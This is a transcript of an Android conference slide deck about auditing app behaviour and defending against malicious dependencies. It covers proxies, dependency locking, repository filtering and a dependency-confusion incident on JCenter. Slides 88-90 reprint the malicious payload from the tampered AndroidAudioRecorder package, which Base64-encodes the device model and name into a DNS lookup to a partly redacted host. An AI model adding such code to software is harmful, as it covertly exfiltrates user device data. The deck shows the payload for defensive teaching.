Upgrade to Pro — share decks privately, control downloads, hide ads and more …

I have no idea what my app is doing - Nicola Corti - Android Dev

I have no idea what my app is doing - Nicola Corti - Android Dev

Do you exactly know what's your app doing when you deliver it to your users? Are you 100% sure? Would you bet on this? You're probably confident with the code you wrote and you know what is doing.

But what about the code that others wrote?

We pull dependencies from the online repositories every day. Our applications strongly rely on external libraries that are hosted on public Maven repositories. What if one of those library contains some malicious code? Imagine a library that starts harvesting your user data without you knowing it.

In this talk we will see how to monitor and protect your application from malicious dependency on the web that might end up in your final compiled App.

Nicola Corti

April 23, 2019
Tweet

More Decks by Nicola Corti

Other Decks in Technology

Transcript

  1. ¯\ _(ツ)_/¯
    Nicola Corti
    @cortinico
    I have no idea 

    what my app is doing

    View full-size slide

  2. Android @ Yelp
    Community Lover
    !✈
    Nicola Corti
    @cortinico

    View full-size slide

  3. ¯\ _(ツ)_/¯

    View full-size slide

  4. ¯\ _(ツ)_/¯

    View full-size slide

  5. @ C O R T I N I C O
    Get
    to know
    your
    Pizza
    Get
    to know
    your
    Pizza
    Vita Marija Murenaite on Unsplash

    View full-size slide

  6. @ C O R T I N I C O
    Get
    to know
    your
    Codebase
    Get
    to know
    your
    Codebase
    Vita Marija Murenaite on Unsplash

    View full-size slide

  7. @ C O R T I N I C O
    How do you e
    How do you 

    eat a Pizza?
    G E T T O K N O W Y O U R C O D E B A S E
    • One bite at a time
    • It takes time
    • Start with small changes
    • Get in touch with tests
    Vlad Baranov on Unsplash

    View full-size slide

  8. @ C O R T I N I C O
    You can’t eat
    You can’t eat 

    everything
    • Don’t expect to read the 

    whole codebase
    • Understand your 

    module boundaries
    • Understand how you interact with

    core modules
    G E T T O K N O W Y O U R C O D E B A S E
    Evelyn on Unsplash

    View full-size slide

  9. @ C O R T I N I C O
    Tech Debt
    Tech Debt
    • Don’t change the code style
    G E T T O K N O W Y O U R C O D E B A S E
    Hey looks, this file is still using

    RxJava1… let me convert it to RxJava2…

    2 hours later…
    $ git revert *last 2 hours*
    davidistesting on Flickr

    View full-size slide

  10. Never Trust Ap
    Never Trust Appearances

    View full-size slide

  11. Never Trust Ap
    Never Trust Appearances

    View full-size slide

  12. Never Trust Ap
    Never Trust Appearances

    View full-size slide

  13. public boolean isAvailable() {
    return false;
    }
    Never Trust Ap
    Never Trust Appearances

    View full-size slide

  14. /**
    *
    */
    public boolean isAvailable() {
    return false;
    }
    Never Trust Ap
    Never Trust Appearances

    View full-size slide

  15. /**
    * Always returns false.
    */
    public boolean isAvailable() {
    return false;
    }
    Never Trust Ap
    Never Trust Appearances

    View full-size slide

  16. /**
    * Always returns false.
    */
    public boolean isAvailable() {
    return true;
    }
    Never Trust Ap
    Never Trust Appearances

    View full-size slide

  17. (Corti 2015-05-10 17:12)/**
    (Corti 2015-05-10 17:12) * Always returns false
    (Corti 2015-05-10 17:12) */
    (Mario 2012-02-24 12:38)public boolean isAvailable() {
    (Mario 2016-05-19 08:01) return true;
    (Mario 2012-02-24 12:38)}
    Never Trust Ap
    Never Trust Appearances

    View full-size slide

  18. Never Trust Com
    Never Trust Comments
    (Corti 2015-05-10 17:12)/**
    (Corti 2015-05-10 17:12) * Always returns false
    (Corti 2015-05-10 17:12) */
    (Mario 2012-02-24 12:38)public boolean isAvailable() {
    (Mario 2016-05-19 08:01) return true;
    (Mario 2012-02-24 12:38)}

    View full-size slide

  19. @ C O R T I N I C O
    Make sure 

    you go
    Sugar

    Free
    Make sure 

    you go
    Sugar

    Free
    Vitchakorn Koonyosying on Unsplash

    View full-size slide

  20. @ C O R T I N I C O
    Make sure 

    you go
    Bug

    Free
    Make sure 

    you go
    Bug

    Free
    Vitchakorn Koonyosying on Unsplash

    View full-size slide

  21. @ C O R T I N I C O
    Proxy
    Proxy
    M A K E S U R E Y O U G O B U G F R E E
    • A proxy will reveal a lot about
    your app behaviour
    • Use Charles
    • See all the requests that are fired
    • Requires configuration on your
    laptop/device
    Tyler Nix on Unsplash

    View full-size slide

  22. @ C O R T I N I C O
    Proxy
    Proxy
    M A K E S U R E Y O U G O B U G F R E E
    • A proxy will reveal a lot about
    your app behaviour
    • Use Charles!
    • See all the requests that are fired
    • Requires configuration on your
    laptop/device
    Tyler Nix on Unsplash

    View full-size slide

  23. @ C O R T I N I C O
    • github.com/ChuckerTeam/Chucker
    • An OkHttp Interceptor
    • Works on device without configuration
    • Useful to catch unintended behavior
    • Useful to build awareness
    Chucker
    Chucker
    M A K E S U R E Y O U G O B U G F R E E

    View full-size slide

  24. @ C O R T I N I C O
    • github.com/ChuckerTeam/Chucker
    • An OkHttp Interceptor
    • Works on device without configuration
    • Useful to catch unintended behavior
    • Useful to build awareness
    Chucker
    Chucker
    M A K E S U R E Y O U G O B U G F R E E

    View full-size slide

  25. @ C O R T I N I C O
    Manifest
    Manifest
    M A K E S U R E Y O U G O B U G F R E E
    • Check the merged manifest in
    Android Studio
    • Two step merge process:
    • Libraries & Modules
    • Source Sets
    Anna Pelzer on Unsplash

    View full-size slide

  26. @ C O R T I N I C O
    • Setup Static Analysis tools
    • Break the builds ⚠
    • Share your pre commits (pre-commit.com)
    Enforce Conv
    Enforce conventions
    M A K E S U R E Y O U G O B U G F R E E

    View full-size slide

  27. @ C O R T I N I C O
    Watch
    out
    your
    orders
    Watch
    out
    your
    orders
    Brett Jordan on Unsplash

    View full-size slide

  28. @ C O R T I N I C O
    Watch
    out
    your
    dependencies
    Watch
    out
    your
    dependencies
    Brett Jordan on Unsplash

    View full-size slide

  29. public Pet getPet(final String id) {
    String https_url = "https:!//petstore.swagger.io/v2/pet/" + id;
    URL url;
    try {
    url = new URL(https_url);
    HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
    if (con !!= null) {
    BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream()));
    String response = "";
    String input;
    while ((input = br.readLine()) !!= null) {
    System.out.println(input);
    response += input;
    }
    br.close();
    JSONObject object = new JSONObject(response);
    Pet result = new Pet();
    result.setId(object.getInt("id"));
    result.setName(object.getString("name"));
    result.setStatus(object.getString("status"));
    JSONArray photos = object.getJSONArray("photoUrls");
    List photoArrays = new ArrayList!<>();
    for (int i = 0; i < photos.length(); i!++) {
    photoArrays.add(photos.getString(i));
    }
    result.setPhotoUrls(photoArrays);
    JSONArray tags = object.getJSONArray("tags");
    List tagArrays = new ArrayList!<>();
    for (int i = 0; i < tags.length(); i!++) {
    tagArrays.add(tags.getString(i));
    }
    result.setTags(tagArrays);
    System.out.println(result);
    System.out.println(result.getId());
    System.out.println(result.getName());
    System.out.println(result.getPhotoUrls().get(0));
    System.out.println(result.getStatus());
    System.out.println(result.getTags().get(0));
    return result;
    }
    } catch (MalformedURLException e) {
    e.printStackTrace();
    } catch (IOException e) {
    e.printStackTrace();
    } catch (JSONException e) {
    e.printStackTrace();
    }
    return null;
    }
    public class Pet {
    private Integer id;
    private String name;
    private List photoUrls = null;
    private List tags = null;
    private String status;
    public Integer getId() {
    return id;
    }
    public void setId(Integer id) {
    this.id = id;
    }
    public String getName() {
    return name;
    }
    public void setName(String name) {
    this.name = name;
    }
    public List getPhotoUrls() {
    return photoUrls;
    }
    public void setPhotoUrls(List photoUrls) {
    this.photoUrls = photoUrls;
    }
    public List getTags() {
    return tags;
    }
    public void setTags(List tags) {
    this.tags = tags;
    }
    public String getStatus() {
    return status;
    }
    public void setStatus(String status) {
    this.status = status;
    }
    }
    fun getPet(id: String): Pet? {
    val https_url = "https:!//petstore.swagger.io/v2/pet/$id"
    val url: URL
    try {
    url = URL(https_url)
    val con = url.openConnection() as HttpsURLConnection
    val br = BufferedReader(InputStreamReader(con.inputStream))
    var response = ""
    var input: String? = br.readLine()
    while (input !!= null) {
    println(input)
    response += input
    input = br.readLine()
    }
    br.close()
    val parsedObject = JSONObject(response)
    val photos = parsedObject.getJSONArray("photoUrls")
    val photoArrays = ArrayList()
    for (i in 0 until photos.length()) {
    photoArrays.add(photos.getString(i))
    }
    val tags = parsedObject.getJSONArray("tags")
    val tagArrays = ArrayList()
    for (i in 0 until tags.length()) {
    tagArrays.add(tags.getString(i))
    }
    val result = Pet(
    id = parsedObject.getInt("id"),
    name = parsedObject.getString("name"),
    status = parsedObject.getString("status"),
    photoUrls = photoArrays,
    tags = tagArrays
    )
    println(result)
    println(result.id)
    println(result.name)
    println(result.photoUrls!!![0])
    println(result.status)
    println(result.tags!!![0])
    return result
    } catch (e: MalformedURLException) {
    e.printStackTrace()
    } catch (e: IOException) {
    e.printStackTrace()
    } catch (e: JSONException) {
    e.printStackTrace()
    }
    return null
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)
    fun getPet(id: String): Pet? {
    val https_url = "https:!//petstore.swagger.io/v2/pet/$id"
    val url: URL
    try {
    url = URL(https_url)
    val con = url.openConnection() as HttpsURLConnection
    val br = BufferedReader(InputStreamReader(con.inputStream))
    var response = ""
    var input: String? = br.readLine()
    while (input !!= null) {
    println(input)
    response += input
    input = br.readLine()
    }
    br.close()
    val moshi = Moshi.Builder().build()
    val jsonAdapter = moshi.adapter(Pet!::class.java)
    val pet = jsonAdapter.fromJson(response)
    println(pet)
    return pet
    } catch (e: MalformedURLException) {
    e.printStackTrace()
    } catch (e: IOException) {
    e.printStackTrace()
    }
    return null
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)
    fun getPet(id: String): Pet? {
    val client = OkHttpClient.Builder().build()
    val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build()
    client.newCall(request).execute().use {
    val moshi = Moshi.Builder().build()
    val jsonAdapter = moshi.adapter(Pet!::class.java)
    val pet = jsonAdapter.fromJson(it.body()!?.string()!!!)
    println(pet)
    return pet
    }
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)

    View full-size slide

  30. interface PetInterface {
    @GET("pet/{id}")
    fun getPet(@Path("id") id: String?) : Call
    }
    ream()));
    fun getPet(id: String): Pet? {
    val https_url = "https:!//petstore.swagger.io/v2/pet/$id"
    val url: URL
    try {
    url = URL(https_url)
    val con = url.openConnection() as HttpsURLConnection
    val br = BufferedReader(InputStreamReader(con.inputStream))
    var response = ""
    var input: String? = br.readLine()
    while (input !!= null) {
    println(input)
    response += input
    input = br.readLine()
    }
    br.close()
    val parsedObject = JSONObject(response)
    val photos = parsedObject.getJSONArray("photoUrls")
    val photoArrays = ArrayList()
    for (i in 0 until photos.length()) {
    photoArrays.add(photos.getString(i))
    }
    val tags = parsedObject.getJSONArray("tags")
    val tagArrays = ArrayList()
    for (i in 0 until tags.length()) {
    tagArrays.add(tags.getString(i))
    }
    val result = Pet(
    id = parsedObject.getInt("id"),
    name = parsedObject.getString("name"),
    status = parsedObject.getString("status"),
    photoUrls = photoArrays,
    tags = tagArrays
    )
    println(result)
    println(result.id)
    println(result.name)
    println(result.photoUrls!!![0])
    println(result.status)
    println(result.tags!!![0])
    return result
    } catch (e: MalformedURLException) {
    e.printStackTrace()
    } catch (e: IOException) {
    e.printStackTrace()
    } catch (e: JSONException) {
    e.printStackTrace()
    }
    return null
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)
    fun getPet(id: String): Pet? {
    val https_url = "https:!//petstore.swagger.io/v2/pet/$id"
    val url: URL
    try {
    url = URL(https_url)
    val con = url.openConnection() as HttpsURLConnection
    val br = BufferedReader(InputStreamReader(con.inputStream))
    var response = ""
    var input: String? = br.readLine()
    while (input !!= null) {
    println(input)
    response += input
    input = br.readLine()
    }
    br.close()
    val moshi = Moshi.Builder().build()
    val jsonAdapter = moshi.adapter(Pet!::class.java)
    val pet = jsonAdapter.fromJson(response)
    println(pet)
    return pet
    } catch (e: MalformedURLException) {
    e.printStackTrace()
    } catch (e: IOException) {
    e.printStackTrace()
    }
    return null
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)
    fun getPet(id: String): Pet? {
    val client = OkHttpClient.Builder().build()
    val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build()
    client.newCall(request).execute().use {
    val moshi = Moshi.Builder().build()
    val jsonAdapter = moshi.adapter(Pet!::class.java)
    val pet = jsonAdapter.fromJson(it.body()!?.string()!!!)
    println(pet)
    return pet
    }
    }
    data class Pet(
    var id: Int?,
    var name: String?,
    var photoUrls: List?,
    var tags: List?,
    var status: String?
    )
    data class Tag(var id: Int?, var name: String?)

    View full-size slide

  31. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    Regina Victorica on Unsplash

    View full-size slide

  32. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    }
    Regina Victorica on Unsplash

    View full-size slide

  33. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    google()
    }
    Regina Victorica on Unsplash

    View full-size slide

  34. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    google()
    jcenter()
    }
    Regina Victorica on Unsplash

    View full-size slide

  35. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    google()
    jcenter()
    mavenCentral()
    }
    Regina Victorica on Unsplash

    View full-size slide

  36. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    google()
    jcenter()
    mavenCentral()
    maven {
    url 'https:!//jitpack.io'
    }
    }
    Regina Victorica on Unsplash

    View full-size slide

  37. @ C O R T I N I C O
    Where to ord
    Where to order?
    W A T C H O U T Y O U R D E P E N D E N C I E S
    repositories {
    google()
    jcenter()
    mavenCentral()
    maven {
    url 'https:!//jitpack.io'
    }
    mavenLocal()
    }
    Regina Victorica on Unsplash

    View full-size slide

  38. @ C O R T I N I C O
    Give me the b
    Give me the
    best sushi
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Avoid dynamic dependencies
    • They make your build less
    reproducible
    bady qb on Unsplash

    View full-size slide

  39. @ C O R T I N I C O
    Give me the b
    Give me the
    best sushi
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Avoid dynamic dependencies
    • They make your build less
    reproducible
    implementation “jp.sushi:uramaki:+"
    bady qb on Unsplash

    View full-size slide

  40. @ C O R T I N I C O
    Give me the b
    Give me the
    best sushi
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Avoid dynamic dependencies
    • They make your build less
    reproducible
    implementation “jp.sushi:uramaki:+"
    implementation “jp.sushi:uramaki:2.+"
    bady qb on Unsplash

    View full-size slide

  41. @ C O R T I N I C O
    Give me the b
    Give me the
    best sushi
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Avoid dynamic dependencies
    • They make your build less
    reproducible
    implementation “jp.sushi:uramaki:+"
    implementation “jp.sushi:uramaki:2.+"
    implementation “jp.sushi:uramaki:2.0.+"
    bady qb on Unsplash

    View full-size slide

  42. @ C O R T I N I C O
    Give me the b
    Give me the
    best sushi
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Avoid dynamic dependencies
    • They make your build less
    reproducible
    implementation “jp.sushi:uramaki:+"
    implementation “jp.sushi:uramaki:2.+"
    implementation “jp.sushi:uramaki:2.0.+"
    implementation “jp.sushi:uramaki:[2.0,3.0)"
    bady qb on Unsplash

    View full-size slide

  43. Version Lock
    Version Lock

    View full-size slide

  44. Version Lock
    Version Lock
    dependencies {
    }

    View full-size slide

  45. Version Lock
    Version Lock
    dependencies {
    implementation “jp.sushi:urakami:+”
    }

    View full-size slide

  46. Version Lock
    Version Lock
    configurations.all {
    }
    dependencies {
    implementation “jp.sushi:urakami:+”
    }

    View full-size slide

  47. Version Lock
    Version Lock
    configurations.all {
    resolutionStrategy {
    }
    }
    dependencies {
    implementation “jp.sushi:urakami:+”
    }

    View full-size slide

  48. Version Lock
    Version Lock
    configurations.all {
    resolutionStrategy {
    activateDependencyLocking()
    }
    }
    dependencies {
    implementation “jp.sushi:urakami:+”
    }

    View full-size slide

  49. Version Lock
    Version Lock
    ./gradlew app:dependencies
    configurations.all {
    resolutionStrategy {
    activateDependencyLocking()
    }
    }
    dependencies {
    implementation "jp.sushi:urakami:+"
    }

    View full-size slide

  50. Version Lock
    Version Lock
    ./gradlew app:dependencies !--write-locks
    configurations.all {
    resolutionStrategy {
    activateDependencyLocking()
    }
    }
    dependencies {
    implementation "jp.sushi:urakami:+"
    }

    View full-size slide

  51. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }

    View full-size slide

  52. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }

    View full-size slide

  53. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }
    # This is a Gradle generated file for dependency locking.
    # Manual edits can break the build and are not advised.
    # This file is expected to be part of source control.
    com.google.code.gson:gson:2.8.5
    com.squareup.okhttp3:okhttp:3.12.1
    com.squareup.okio:okio:1.15.0

    jp.sushi:urakami:3.14.0
    org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib:1.3.20
    org.jetbrains:annotations:13.0
    ......

    View full-size slide

  54. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }
    # This is a Gradle generated file for dependency locking.
    # Manual edits can break the build and are not advised.
    # This file is expected to be part of source control.
    com.google.code.gson:gson:2.8.5
    com.squareup.okhttp3:okhttp:3.12.1
    com.squareup.okio:okio:1.15.0

    jp.sushi:urakami:3.14.0
    org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib:1.3.20
    org.jetbrains:annotations:13.0
    ......

    View full-size slide

  55. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }
    ./gradlew app:dependencies !--update-locks ‘jp.sushi:*’
    # This is a Gradle generated file for dependency locking.
    # Manual edits can break the build and are not advised.
    # This file is expected to be part of source control.
    com.google.code.gson:gson:2.8.5
    com.squareup.okhttp3:okhttp:3.12.1
    com.squareup.okio:okio:1.15.0

    jp.sushi:urakami:3.14.0
    org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib:1.3.20
    org.jetbrains:annotations:13.0
    ......

    View full-size slide

  56. ./gradlew app:dependencies !--write-locks
    dependencies {
    implementation "jp.sushi:urakami:+"
    }
    ./gradlew app:dependencies !--update-locks ‘*:*’
    # This is a Gradle generated file for dependency locking.
    # Manual edits can break the build and are not advised.
    # This file is expected to be part of source control.
    com.google.code.gson:gson:2.8.5
    com.squareup.okhttp3:okhttp:3.12.1
    com.squareup.okio:okio:1.15.0

    jp.sushi:urakami:3.14.0
    org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20
    org.jetbrains.kotlin:kotlin-stdlib:1.3.20
    org.jetbrains:annotations:13.0
    ......

    View full-size slide

  57. @ C O R T I N I C O
    Favourite Res
    Favourite
    Restaurant
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Restrict dependencies to 

    specific repositories
    • Repositories get queried 

    top to bottom
    Wyron A on Unsplash

    View full-size slide

  58. repositories {
    }

    View full-size slide

  59. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    }
    }

    View full-size slide

  60. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    content {
    includeGroup "jp.sushi"
    }
    }
    }

    View full-size slide

  61. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    content {
    includeGroup "jp.sushi"
    }
    }
    jcenter {
    }
    }

    View full-size slide

  62. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    content {
    includeGroup "jp.sushi"
    }
    }
    jcenter {
    content {
    }
    }
    }

    View full-size slide

  63. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    content {
    includeGroup "jp.sushi"
    }
    }
    jcenter {
    content {
    excludeGroupByRegex "jp!\\.sushi.*"
    }
    }
    }

    View full-size slide

  64. repositories {
    maven {
    url "http:!//repo.sushi.jp/maven2"
    content {
    includeGroup "jp.sushi"
    }
    }
    jcenter {
    content {
    excludeGroupByRegex "jp!\\.sushi.*"
    }
    }
    }

    View full-size slide

  65. @ C O R T I N I C O
    Gluten Free
    Gluten Free
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Pay attention to transitive
    dependencies
    • Define constraints
    • Leave a because message
    • Pay attention to version
    resolution
    marine Dumay on Unsplash

    View full-size slide

  66. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    }

    View full-size slide

  67. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    }
    }

    View full-size slide

  68. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    implementation('jp.sushi:california:3.0.1')
    implementation(‘jp.sushi:sashimi:42.0.0')
    }
    }

    View full-size slide

  69. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    implementation('jp.sushi:california:3.0.1') {
    because ''
    }
    implementation(‘jp.sushi:sashimi:42.0.0’)
    }
    }

    View full-size slide

  70. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    implementation('jp.sushi:california:3.0.1') {
    because 'California 3.0.0 had gluten'
    }
    implementation(‘jp.sushi:sashimi:42.0.0’)
    }
    }

    View full-size slide

  71. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    implementation('jp.sushi:california:3.0.1') {
    because 'California 3.0.0 had gluten'
    }
    implementation(‘jp.sushi:sashimi:42.0.0') {
    because ‘Sashimi 42 is the best ever’
    }
    }
    }

    View full-size slide

  72. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    constraints {
    implementation('jp.sushi:california:3.0.1') {
    because 'California 3.0.0 had gluten'
    }
    implementation(‘jp.sushi:sashimi:42.0.0') {
    because ‘Sashimi 42 is the best ever’
    force = true
    }
    }
    }

    View full-size slide

  73. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”)
    }

    View full-size slide

  74. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”) {
    force = true
    }
    }

    View full-size slide

  75. dependencies {
    implementation(“jp.sushi:kaiten-sushi:1.0.0”) {
    transitive = false
    }
    }

    View full-size slide

  76. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0

    View full-size slide

  77. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- jp.sushi:sashimi:42.0.0

    View full-size slide

  78. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- jp.sushi:sashimi:42.0.0
    \!!--- jp.sushi:california:3.0.2

    View full-size slide

  79. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1 !-> 3.0.2
    \!!--- jp.sushi:sashimi:42.0.0
    \!!--- jp.sushi:california:3.0.2

    View full-size slide

  80. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- jp.sushi:sashimi:42.0.0

    View full-size slide

  81. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- com.google.guava:guava:27.1
    +!!--- jp.sushi:sashimi:42.0.0
    \!!--- com.google.guava:guava:27.1

    View full-size slide

  82. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- com.google.guava:guava:27.1-android
    +!!--- jp.sushi:sashimi:42.0.0
    \!!--- com.google.guava:guava:27.1-jre

    View full-size slide

  83. ------------------------------------------------------------
    Project :sushi
    ------------------------------------------------------------
    debugRuntimeClasspath - Runtime classpath of compilation 'debug'
    +!!--- project :sushi
    +!!--- jp.sushi:kaiten-sushi:1.0.0
    +!!--- jp.sushi:california:3.0.1
    \!!--- com.google.guava:guava:27.1-android !-> 27.1-jre
    +!!--- jp.sushi:sashimi:42.0.0
    \!!--- com.google.guava:guava:27.1-jre

    View full-size slide

  84. @ C O R T I N I C O
    Health Check
    Health Checks
    W A T C H O U T Y O U R D E P E N D E N C I E S
    • Dependencies are hard to
    verify
    • MD5/SHA1 are checked if
    provided
    • GPG Signatures are ignored
    Epicurrence on Unsplash

    View full-size slide

  85. issues.apache.org/jira/browse/MNG-6026

    View full-size slide

  86. @ C O R T I N I C O
    • What is Github is not necessarily on Maven
    • An example of Cross Build Injection (XBI)
    • Malicious packages uploaded for Timber,
    AndroidAudioRecorder… on Jcenter.
    • The “real” package was uploaded on other repo
    (MavenCentral, JitPack, …)
    A Confusing O
    A Confusing Order
    W A T C H O U T Y O U R D E P E N D E N C I E S

    View full-size slide

  87. bit.ly/aconfusingdependency

    View full-size slide

  88. private AndroidAudioRecorder(Activity activity) {
    this.activity = activity;
    }

    View full-size slide

  89. private AndroidAudioRecorder(Activity activity) {
    this.activity = activity;
    Thread thread = new Thread() {
    @Override
    public void run() {
    }
    };
    thread.start();
    }

    View full-size slide

  90. private AndroidAudioRecorder(Activity activity) {
    this.activity = activity;
    Thread thread = new Thread() {
    @Override
    public void run() {
    try {
    InetAddress byName = InetAddress.getByName(
    new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(),
    Base64.NO_WRAP)).concat(“!!...com"));
    if(byName.isLoopbackAddress()) {
    color = 0;
    }
    } catch (UnknownHostException e) {
    e.printStackTrace();
    }
    }
    };
    thread.start();
    }

    View full-size slide

  91. allprojects {
    repositories {
    google()
    jcenter()
    maven { url "https:!//jitpack.io" }
    }
    }

    View full-size slide

  92. allprojects {
    repositories {
    google()
    jcenter()
    maven { url "https:!//jitpack.io" }
    }
    }
    dependencies {
    implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
    }

    View full-size slide

  93. allprojects {
    repositories {
    google()
    jcenter()
    !// maven { url "https:!//jitpack.io" }
    }
    }
    dependencies {
    implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0'
    }

    View full-size slide

  94. bit.ly/jcenterpostmortem

    View full-size slide

  95. bit.ly/harvestingcreditcards

    View full-size slide

  96. bit.ly/wanttotakeoverthejavaecosystem

    View full-size slide

  97. jeremylong.github.io/DependencyCheck/

    View full-size slide

  98. jeremylong.github.io/DependencyCheck/

    View full-size slide

  99. jeremylong.github.io/DependencyCheck/

    View full-size slide

  100. @ C O R T I N I C O
    ¯\_(ツ)_/¯
    ¯\_(ツ)_/¯
    Watch out your
    Orders
    Make sure you go
    Sugar Free
    Get to know your
    Pizza

    View full-size slide

  101. Nicola Corti
    @cortinico
    ¯\ _(ツ)_/¯
    Thanks

    View full-size slide